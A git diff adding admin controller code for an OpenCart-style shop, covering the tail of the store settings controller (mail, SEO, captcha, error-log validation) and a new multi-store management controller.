+ $data['config_return_status_id'] = $this->request->post['config_return_status_id'];
+ } else {
+ $data['config_return_status_id'] = $this->config->get('config_return_status_id');
+ }
+
+ $this->load->model('localisation/return_status');
+
+ $data['return_statuses'] = $this->model_localisation_return_status->getReturnStatuses();
+
+ if (isset($this->request->post['config_captcha'])) {
+ $data['config_captcha'] = $this->request->post['config_captcha'];
+ } else {
+ $data['config_captcha'] = $this->config->get('config_captcha');
+ }
+
+ $this->load->model('setting/extension');
+
+ $data['captchas'] = array();
+
+ // Get a list of installed captchas
+ $extensions = $this->model_setting_extension->getInstalled('captcha');
+
+ foreach ($extensions as $code) {
+ $this->load->language('extension/captcha/' . $code, 'extension');
+ if ($this->config->get('captcha_' . $code . '_status')) {
+ $data['captchas'][] = array(
+ 'text' => $this->language->get('extension')->get('heading_title'),
+ 'value' => $code
+ );
+ }
+ }
+
+ if (isset($this->request->post['config_captcha_page'])) {
+ $data['config_captcha_page'] = $this->request->post['config_captcha_page'];
+ } elseif ($this->config->has('config_captcha_page')) {
+ $data['config_captcha_page'] = $this->config->get('config_captcha_page');
+ } else {
+ $data['config_captcha_page'] = array();
+ }
+
+ $data['captcha_pages'] = array();
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_register'),
+ 'value' => 'register'
+ );
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_guest'),
+ 'value' => 'guest'
+ );
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_review'),
+ 'value' => 'review'
+ );
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_return'),
+ 'value' => 'return'
+ );
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_contact'),
+ 'value' => 'contact'
+ );
+
+ if (isset($this->request->post['config_logo'])) {
+ $data['config_logo'] = $this->request->post['config_logo'];
+ } else {
+ $data['config_logo'] = $this->config->get('config_logo');
+ }
+
+ if (isset($this->request->post['config_logo']) && is_file(DIR_IMAGE . $this->request->post['config_logo'])) {
+ $data['logo'] = $this->model_tool_image->resize($this->request->post['config_logo'], 100, 100);
+ } elseif ($this->config->get('config_logo') && is_file(DIR_IMAGE . $this->config->get('config_logo'))) {
+ $data['logo'] = $this->model_tool_image->resize($this->config->get('config_logo'), 100, 100);
+ } else {
+ $data['logo'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ if (isset($this->request->post['config_icon'])) {
+ $data['config_icon'] = $this->request->post['config_icon'];
+ } else {
+ $data['config_icon'] = $this->config->get('config_icon');
+ }
+
+ if (isset($this->request->post['config_icon']) && is_file(DIR_IMAGE . $this->request->post['config_icon'])) {
+ $data['icon'] = $this->model_tool_image->resize($this->request->post['config_icon'], 100, 100);
+ } elseif ($this->config->get('config_icon') && is_file(DIR_IMAGE . $this->config->get('config_icon'))) {
+ $data['icon'] = $this->model_tool_image->resize($this->config->get('config_icon'), 100, 100);
+ } else {
+ $data['icon'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ if (isset($this->request->post['config_mail_engine'])) {
+ $data['config_mail_engine'] = $this->request->post['config_mail_engine'];
+ } else {
+ $data['config_mail_engine'] = $this->config->get('config_mail_engine');
+ }
+
+ if (isset($this->request->post['config_mail_parameter'])) {
+ $data['config_mail_parameter'] = $this->request->post['config_mail_parameter'];
+ } else {
+ $data['config_mail_parameter'] = $this->config->get('config_mail_parameter');
+ }
+
+ if (isset($this->request->post['config_mail_smtp_hostname'])) {
+ $data['config_mail_smtp_hostname'] = $this->request->post['config_mail_smtp_hostname'];
+ } else {
+ $data['config_mail_smtp_hostname'] = $this->config->get('config_mail_smtp_hostname');
+ }
+
+ if (isset($this->request->post['config_mail_smtp_username'])) {
+ $data['config_mail_smtp_username'] = $this->request->post['config_mail_smtp_username'];
+ } else {
+ $data['config_mail_smtp_username'] = $this->config->get('config_mail_smtp_username');
+ }
+
+ if (isset($this->request->post['config_mail_smtp_password'])) {
+ $data['config_mail_smtp_password'] = $this->request->post['config_mail_smtp_password'];
+ } else {
+ $data['config_mail_smtp_password'] = $this->config->get('config_mail_smtp_password');
+ }
+
+ if (isset($this->request->post['config_mail_smtp_port'])) {
+ $data['config_mail_smtp_port'] = $this->request->post['config_mail_smtp_port'];
+ } elseif ($this->config->has('config_mail_smtp_port')) {
+ $data['config_mail_smtp_port'] = $this->config->get('config_mail_smtp_port');
+ } else {
+ $data['config_mail_smtp_port'] = 25;
+ }
+
+ if (isset($this->request->post['config_mail_smtp_timeout'])) {
+ $data['config_mail_smtp_timeout'] = $this->request->post['config_mail_smtp_timeout'];
+ } elseif ($this->config->has('config_mail_smtp_timeout')) {
+ $data['config_mail_smtp_timeout'] = $this->config->get('config_mail_smtp_timeout');
+ } else {
+ $data['config_mail_smtp_timeout'] = 5;
+ }
+
+ if (isset($this->request->post['config_mail_alert'])) {
+ $data['config_mail_alert'] = $this->request->post['config_mail_alert'];
+ } elseif ($this->config->has('config_mail_alert')) {
+ $data['config_mail_alert'] = $this->config->get('config_mail_alert');
+ } else {
+ $data['config_mail_alert'] = array();
+ }
+
+ $data['mail_alerts'] = array();
+
+ $data['mail_alerts'][] = array(
+ 'text' => $this->language->get('text_mail_account'),
+ 'value' => 'account'
+ );
+
+ $data['mail_alerts'][] = array(
+ 'text' => $this->language->get('text_mail_affiliate'),
+ 'value' => 'affiliate'
+ );
+
+ $data['mail_alerts'][] = array(
+ 'text' => $this->language->get('text_mail_order'),
+ 'value' => 'order'
+ );
+
+ $data['mail_alerts'][] = array(
+ 'text' => $this->language->get('text_mail_review'),
+ 'value' => 'review'
+ );
+
+ if (isset($this->request->post['config_mail_alert_email'])) {
+ $data['config_mail_alert_email'] = $this->request->post['config_mail_alert_email'];
+ } else {
+ $data['config_mail_alert_email'] = $this->config->get('config_mail_alert_email');
+ }
+
+ if (isset($this->request->post['config_secure'])) {
+ $data['config_secure'] = $this->request->post['config_secure'];
+ } else {
+ $data['config_secure'] = $this->config->get('config_secure');
+ }
+
+ if (isset($this->request->post['config_shared'])) {
+ $data['config_shared'] = $this->request->post['config_shared'];
+ } else {
+ $data['config_shared'] = $this->config->get('config_shared');
+ }
+
+ if (isset($this->request->post['config_robots'])) {
+ $data['config_robots'] = $this->request->post['config_robots'];
+ } else {
+ $data['config_robots'] = $this->config->get('config_robots');
+ }
+
+ if (isset($this->request->post['config_seo_url'])) {
+ $data['config_seo_url'] = $this->request->post['config_seo_url'];
+ } else {
+ $data['config_seo_url'] = $this->config->get('config_seo_url');
+ }
+
+ if (isset($this->request->post['config_canonical_method'])) {
+ $data['config_canonical_method'] = $this->request->post['config_canonical_method'];
+ } else {
+ $data['config_canonical_method'] = $this->config->get('config_canonical_method');
+ }
+
+ if (isset($this->request->post['config_canonical_self'])) {
+ $data['config_canonical_self'] = $this->request->post['config_canonical_self'];
+ } else {
+ $data['config_canonical_self'] = $this->config->get('config_canonical_self');
+ }
+
+ if (isset($this->request->post['config_add_prevnext'])) {
+ $data['config_add_prevnext'] = $this->request->post['config_add_prevnext'];
+ } else {
+ $data['config_add_prevnext'] = $this->config->get('config_add_prevnext');
+ }
+
+ if (isset($this->request->post['config_noindex_status'])) {
+ $data['config_noindex_status'] = $this->request->post['config_noindex_status'];
+ } else {
+ $data['config_noindex_status'] = $this->config->get('config_noindex_status');
+ }
+
+ if (isset($this->request->post['config_noindex_disallow_params'])) {
+ $data['config_noindex_disallow_params'] = $this->request->post['config_noindex_disallow_params'];
+ } elseif ($this->config->get('config_noindex_disallow_params')) {
+ $data['config_noindex_disallow_params'] = $this->config->get('config_noindex_disallow_params');
+ } else {
+ $data['config_noindex_disallow_params'] = "page";
+ }
+
+ if (isset($this->request->post['config_file_max_size'])) {
+ $data['config_file_max_size'] = $this->request->post['config_file_max_size'];
+ } elseif ($this->config->get('config_file_max_size')) {
+ $data['config_file_max_size'] = $this->config->get('config_file_max_size');
+ } else {
+ $data['config_file_max_size'] = 300000;
+ }
+
+ if (isset($this->request->post['config_file_ext_allowed'])) {
+ $data['config_file_ext_allowed'] = $this->request->post['config_file_ext_allowed'];
+ } else {
+ $data['config_file_ext_allowed'] = $this->config->get('config_file_ext_allowed');
+ }
+
+ if (isset($this->request->post['config_file_mime_allowed'])) {
+ $data['config_file_mime_allowed'] = $this->request->post['config_file_mime_allowed'];
+ } else {
+ $data['config_file_mime_allowed'] = $this->config->get('config_file_mime_allowed');
+ }
+
+ if (isset($this->request->post['config_maintenance'])) {
+ $data['config_maintenance'] = $this->request->post['config_maintenance'];
+ } else {
+ $data['config_maintenance'] = $this->config->get('config_maintenance');
+ }
+
+ if (isset($this->request->post['config_password'])) {
+ $data['config_password'] = $this->request->post['config_password'];
+ } else {
+ $data['config_password'] = $this->config->get('config_password');
+ }
+
+ if (isset($this->request->post['config_encryption'])) {
+ $data['config_encryption'] = $this->request->post['config_encryption'];
+ } else {
+ $data['config_encryption'] = $this->config->get('config_encryption');
+ }
+
+ if (isset($this->request->post['config_compression'])) {
+ $data['config_compression'] = $this->request->post['config_compression'];
+ } else {
+ $data['config_compression'] = $this->config->get('config_compression');
+ }
+
+ if (isset($this->request->post['config_error_display'])) {
+ $data['config_error_display'] = $this->request->post['config_error_display'];
+ } else {
+ $data['config_error_display'] = $this->config->get('config_error_display');
+ }
+
+ if (isset($this->request->post['config_error_log'])) {
+ $data['config_error_log'] = $this->request->post['config_error_log'];
+ } else {
+ $data['config_error_log'] = $this->config->get('config_error_log');
+ }
+
+ if (isset($this->request->post['config_error_filename'])) {
+ $data['config_error_filename'] = $this->request->post['config_error_filename'];
+ } else {
+ $data['config_error_filename'] = $this->config->get('config_error_filename');
+ }
+
+ if (isset($this->request->post['config_seo_pro'])) {
+ $data['config_seo_pro'] = $this->request->post['config_seo_pro'];
+ } else {
+ $data['config_seo_pro'] = $this->config->get('config_seo_pro');
+ }
+
+ if (isset($this->request->post['config_seo_url_include_path'])) {
+ $data['config_seo_url_include_path'] = $this->request->post['config_seo_url_include_path'];
+ } else {
+ $data['config_seo_url_include_path'] = $this->config->get('config_seo_url_include_path');
+ }
+
+ if (isset($this->request->post['config_seo_url_cache'])) {
+ $data['config_seo_url_cache'] = $this->request->post['config_seo_url_cache'];
+ } else {
+ $data['config_seo_url_cache'] = $this->config->get('config_seo_url_cache');
+ }
+
+ if (isset($this->request->post['config_page_postfix'])) {
+ $data['config_page_postfix'] = $this->request->post['config_page_postfix'];
+ } else {
+ $data['config_page_postfix'] = $this->config->get('config_page_postfix');
+ }
+
+ if (isset($this->request->post['config_seopro_addslash'])) {
+ $data['config_seopro_addslash'] = $this->request->post['config_seopro_addslash'];
+ } elseif ($this->config->has('config_seopro_addslash')) {
+ $data['config_seopro_addslash'] = $this->config->get('config_seopro_addslash');
+ }
+
+ if (isset($this->request->post['config_seopro_lowercase'])) {
+ $data['config_seopro_lowercase'] = $this->request->post['config_seopro_lowercase'];
+ } elseif ($this->config->has('config_seopro_lowercase')) {
+ $data['config_seopro_lowercase'] = $this->config->get('config_seopro_lowercase');
+ }
+
+ if (isset($this->request->post['config_valide_param_flag'])) {
+ $data['config_valide_param_flag'] = $this->request->post['config_valide_param_flag'];
+ } elseif ($this->config->has('config_valide_param_flag')) {
+ $data['config_valide_param_flag'] = $this->config->get('config_valide_param_flag');
+ }
+
+
+ if (isset($this->request->post['config_valide_params'])) {
+ $data['config_valide_params'] = $this->request->post['config_valide_params'];
+ } elseif ($this->config->get('config_valide_params')) {
+ $data['config_valide_params'] = $this->config->get('config_valide_params');
+ } else {
+ $data['config_valide_params'] = "block\r\nfrommarket\r\ngclid\r\nfbclid\r\nkeyword\r\nlist_type\r\nopenstat\r\nopenstat_service\r\nopenstat_campaign\r\nopenstat_ad\r\nopenstat_source\r\nposition\r\nsource\r\ntracking\r\ntype\r\nyclid\r\nymclid\r\nuri\r\nurltype\r\nutm_source\r\nutm_medium\r\nutm_campaign\r\nutm_term\r\nutm_content";
+ }
+
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('setting/setting', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'setting/setting')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['config_meta_title']) {
+ $this->error['meta_title'] = $this->language->get('error_meta_title');
+ }
+
+ if (!$this->request->post['config_name']) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['config_owner']) < 3) || (utf8_strlen($this->request->post['config_owner']) > 64)) {
+ $this->error['owner'] = $this->language->get('error_owner');
+ }
+
+ if ((utf8_strlen($this->request->post['config_address']) < 3) || (utf8_strlen($this->request->post['config_address']) > 256)) {
+ $this->error['address'] = $this->language->get('error_address');
+ }
+
+ if ((utf8_strlen($this->request->post['config_email']) > 96) || !filter_var($this->request->post['config_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ if ((utf8_strlen($this->request->post['config_telephone']) < 3) || (utf8_strlen($this->request->post['config_telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ if (!empty($this->request->post['config_customer_group_display']) && !in_array($this->request->post['config_customer_group_id'], $this->request->post['config_customer_group_display'])) {
+ $this->error['customer_group_display'] = $this->language->get('error_customer_group_display');
+ }
+
+ if (!$this->request->post['config_limit_admin']) {
+ $this->error['limit_admin'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['config_limit_autocomplete']) {
+ $this->error['limit_autocomplete'] = $this->language->get('error_limit');
+ }
+
+ if ($this->request->post['config_login_attempts'] < 1) {
+ $this->error['login_attempts'] = $this->language->get('error_login_attempts');
+ }
+
+ if (!$this->request->post['config_voucher_min']) {
+ $this->error['voucher_min'] = $this->language->get('error_voucher_min');
+ }
+
+ if (!$this->request->post['config_voucher_max']) {
+ $this->error['voucher_max'] = $this->language->get('error_voucher_max');
+ }
+
+ if (!isset($this->request->post['config_processing_status'])) {
+ $this->error['processing_status'] = $this->language->get('error_processing_status');
+ }
+
+ if (!isset($this->request->post['config_complete_status'])) {
+ $this->error['complete_status'] = $this->language->get('error_complete_status');
+ }
+
+ if (!$this->request->post['config_error_filename']) {
+ $this->error['log'] = $this->language->get('error_log_required');
+ } elseif (preg_match('/\.\.[\/\\\]?/', $this->request->post['config_error_filename'])) {
+ $this->error['log'] = $this->language->get('error_log_invalid');
+ } elseif (substr($this->request->post['config_error_filename'], strrpos($this->request->post['config_error_filename'], '.')) != '.log') {
+ $this->error['log'] = $this->language->get('error_log_extension');
+ }
+
+ if ((utf8_strlen($this->request->post['config_encryption']) < 32) || (utf8_strlen($this->request->post['config_encryption']) > 1024)) {
+ $this->error['encryption'] = $this->language->get('error_encryption');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function theme() {
+ if ($this->request->server['HTTPS']) {
+ $server = HTTPS_CATALOG;
+ } else {
+ $server = HTTP_CATALOG;
+ }
+
+ // This is only here for compatibility with old themes.
+ if ($this->request->get['theme'] == 'theme_default') {
+ $theme = $this->config->get('theme_default_directory');
+ } else {
+ $theme = basename($this->request->get['theme']);
+ }
+
+ if (is_file(DIR_CATALOG . 'view/theme/' . $theme . '/image/' . $theme . '.png')) {
+ $this->response->setOutput($server . 'store/view/theme/' . $theme . '/image/' . $theme . '.png');
+ } else {
+ $this->response->setOutput($server . 'image/no_image.png');
+ }
+ }
+}
diff --git a/public/admin/controller/setting/store.php b/public/admin/controller/setting/store.php
new file mode 100644
index 0000000..30bcaf0
--- /dev/null
+++ b/public/admin/controller/setting/store.php
@@ -0,0 +1,717 @@
+load->language('setting/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/store');
+
+ $this->load->model('setting/setting');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('setting/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/store');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $store_id = $this->model_setting_store->addStore($this->request->post);
+
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('config', $this->request->post, $store_id);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('setting/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/store');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_setting_store->editStore($this->request->get['store_id'], $this->request->post);
+
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('config', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('setting/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/store');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ $this->load->model('setting/setting');
+
+ foreach ($this->request->post['selected'] as $store_id) {
+ $this->model_setting_store->deleteStore($store_id);
+
+ $this->model_setting_setting->deleteSetting('config', $store_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['add'] = $this->url->link('setting/store/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['delete'] = $this->url->link('setting/store/delete', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->config->get('config_name') . $this->language->get('text_default'),
+ 'url' => $this->config->get('config_secure') ? HTTPS_CATALOG : HTTP_CATALOG,
+ 'edit' => $this->url->link('setting/setting', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $store_total = $this->model_setting_store->getTotalStores();
+
+ $results = $this->model_setting_store->getStores();
+
+ foreach ($results as $result) {
+ $data['stores'][] = array(
+ 'store_id' => $result['store_id'],
+ 'name' => $result['name'],
+ 'url' => $result['url'],
+ 'edit' => $this->url->link('setting/store/edit', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $result['store_id'], true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('setting/store_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['store_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['url'])) {
+ $data['error_url'] = $this->error['url'];
+ } else {
+ $data['error_url'] = '';
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['owner'])) {
+ $data['error_owner'] = $this->error['owner'];
+ } else {
+ $data['error_owner'] = '';
+ }
+
+ if (isset($this->error['address'])) {
+ $data['error_address'] = $this->error['address'];
+ } else {
+ $data['error_address'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ if (isset($this->error['customer_group_display'])) {
+ $data['error_customer_group_display'] = $this->error['customer_group_display'];
+ } else {
+ $data['error_customer_group_display'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ if (!isset($this->request->get['store_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_settings'),
+ 'href' => $this->url->link('setting/store/add', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_settings'),
+ 'href' => $this->url->link('setting/store/edit', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (!isset($this->request->get['store_id'])) {
+ $data['action'] = $this->url->link('setting/store/add', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('setting/store/edit', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true);
+
+ if (isset($this->request->get['store_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $this->load->model('setting/setting');
+
+ $store_info = $this->model_setting_setting->getSetting('config', $this->request->get['store_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['config_url'])) {
+ $data['config_url'] = $this->request->post['config_url'];
+ } elseif (isset($store_info['config_url'])) {
+ $data['config_url'] = $store_info['config_url'];
+ } else {
+ $data['config_url'] = '';
+ }
+
+ if (isset($this->request->post['config_ssl'])) {
+ $data['config_ssl'] = $this->request->post['config_ssl'];
+ } elseif (isset($store_info['config_ssl'])) {
+ $data['config_ssl'] = $store_info['config_ssl'];
+ } else {
+ $data['config_ssl'] = '';
+ }
+
+ if (isset($this->request->post['config_meta_title'])) {
+ $data['config_meta_title'] = $this->request->post['config_meta_title'];
+ } elseif (isset($store_info['config_meta_title'])) {
+ $data['config_meta_title'] = $store_info['config_meta_title'];
+ } else {
+ $data['config_meta_title'] = '';
+ }
+
+ if (isset($this->request->post['config_meta_description'])) {
+ $data['config_meta_description'] = $this->request->post['config_meta_description'];
+ } elseif (isset($store_info['config_meta_description'])) {
+ $data['config_meta_description'] = $store_info['config_meta_description'];
+ } else {
+ $data['config_meta_description'] = '';
+ }
+
+ if (isset($this->request->post['config_meta_keyword'])) {
+ $data['config_meta_keyword'] = $this->request->post['config_meta_keyword'];
+ } elseif (isset($store_info['config_meta_keyword'])) {
+ $data['config_meta_keyword'] = $store_info['config_meta_keyword'];
+ } else {
+ $data['config_meta_keyword'] = '';
+ }
+
+ if (isset($this->request->post['config_theme'])) {
+ $data['config_theme'] = $this->request->post['config_theme'];
+ } elseif (isset($store_info['config_theme'])) {
+ $data['config_theme'] = $store_info['config_theme'];
+ } else {
+ $data['config_theme'] = '';
+ }
+
+ $data['themes'] = array();
+
+ // Create a new language container so we don't pollute the current one
+ $language = new Language($this->config->get('config_language'));
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('theme');
+
+ foreach ($extensions as $code) {
+ $this->load->language('extension/theme/' . $code, 'extension');
+
+ $data['themes'][] = array(
+ 'text' => $this->language->get('extension')->get('heading_title'),
+ 'value' => $code
+ );
+ }
+
+ if (isset($this->request->post['config_layout_id'])) {
+ $data['config_layout_id'] = $this->request->post['config_layout_id'];
+ } elseif (isset($store_info['config_layout_id'])) {
+ $data['config_layout_id'] = $store_info['config_layout_id'];
+ } else {
+ $data['config_layout_id'] = '';
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ if (isset($this->request->post['config_name'])) {
+ $data['config_name'] = $this->request->post['config_name'];
+ } elseif (isset($store_info['config_name'])) {
+ $data['config_name'] = $store_info['config_name'];
+ } else {
+ $data['config_name'] = '';
+ }
+
+ if (isset($this->request->post['config_owner'])) {
+ $data['config_owner'] = $this->request->post['config_owner'];
+ } elseif (isset($store_info['config_owner'])) {
+ $data['config_owner'] = $store_info['config_owner'];
+ } else {
+ $data['config_owner'] = '';
+ }
+
+ if (isset($this->request->post['config_address'])) {
+ $data['config_address'] = $this->request->post['config_address'];
+ } elseif (isset($store_info['config_address'])) {
+ $data['config_address'] = $store_info['config_address'];
+ } else {
+ $data['config_address'] = '';
+ }
+
+ if (isset($this->request->post['config_geocode'])) {
+ $data['config_geocode'] = $this->request->post['config_geocode'];
+ } elseif (isset($store_info['config_geocode'])) {
+ $data['config_geocode'] = $store_info['config_geocode'];
+ } else {
+ $data['config_geocode'] = '';
+ }
+
+ if (isset($this->request->post['config_email'])) {
+ $data['config_email'] = $this->request->post['config_email'];
+ } elseif (isset($store_info['config_email'])) {
+ $data['config_email'] = $store_info['config_email'];
+ } else {
+ $data['config_email'] = '';
+ }
+
+ if (isset($this->request->post['config_telephone'])) {
+ $data['config_telephone'] = $this->request->post['config_telephone'];
+ } elseif (isset($store_info['config_telephone'])) {
+ $data['config_telephone'] = $store_info['config_telephone'];
+ } else {
+ $data['config_telephone'] = '';
+ }
+
+ if (isset($this->request->post['config_fax'])) {
+ $data['config_fax'] = $this->request->post['config_fax'];
+ } elseif (isset($store_info['config_fax'])) {
+ $data['config_fax'] = $store_info['config_fax'];
+ } else {
+ $data['config_fax'] = '';
+ }
+
+ if (isset($this->request->post['config_image'])) {
+ $data['config_image'] = $this->request->post['config_image'];
+ } elseif (isset($store_info['config_image'])) {
+ $data['config_image'] = $store_info['config_image'];
+ } else {
+ $data['config_image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['config_image']) && is_file(DIR_IMAGE . $this->request->post['config_image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['config_image'], 100, 100);
+ } elseif (isset($store_info['config_image']) && is_file(DIR_IMAGE . $store_info['config_image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($store_info['config_image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['config_open'])) {
+ $data['config_open'] = $this->request->post['config_open'];
+ } elseif (isset($store_info['config_open'])) {
+ $data['config_open'] = $store_info['config_open'];
+ } else {
+ $data['config_open'] = '';
+ }
+
+ if (isset($this->request->post['config_comment'])) {
+ $data['config_comment'] = $this->request->post['config_comment'];
+ } elseif (isset($store_info['config_comment'])) {
+ $data['config_comment'] = $store_info['config_comment'];
+ } else {
+ $data['config_comment'] = '';
+ }
+
+ $this->load->model('localisation/location');
+
+ $data['locations'] = $this->model_localisation_location->getLocations();
+
+ if (isset($this->request->post['config_location'])) {
+ $data['config_location'] = $this->request->post['config_location'];
+ } elseif (isset($store_info['config_location'])) {
+ $data['config_location'] = $store_info['config_location'];
+ } else {
+ $data['config_location'] = array();
+ }
+
+ if (isset($this->request->post['config_country_id'])) {
+ $data['config_country_id'] = $this->request->post['config_country_id'];
+ } elseif (isset($store_info['config_country_id'])) {
+ $data['config_country_id'] = $store_info['config_country_id'];
+ } else {
+ $data['config_country_id'] = $this->config->get('config_country_id');
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ if (isset($this->request->post['config_zone_id'])) {
+ $data['config_zone_id'] = $this->request->post['config_zone_id'];
+ } elseif (isset($store_info['config_zone_id'])) {
+ $data['config_zone_id'] = $store_info['config_zone_id'];
+ } else {
+ $data['config_zone_id'] = $this->config->get('config_zone_id');
+ }
+
+ if (isset($this->request->post['config_language'])) {
+ $data['config_language'] = $this->request->post['config_language'];
+ } elseif (isset($store_info['config_language'])) {
+ $data['config_language'] = $store_info['config_language'];
+ } else {
+ $data['config_language'] = $this->config->get('config_language');
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['config_currency'])) {
+ $data['config_currency'] = $this->request->post['config_currency'];
+ } elseif (isset($store_info['config_currency'])) {
+ $data['config_currency'] = $store_info['config_currency'];
+ } else {
+ $data['config_currency'] = $this->config->get('config_currency');
+ }
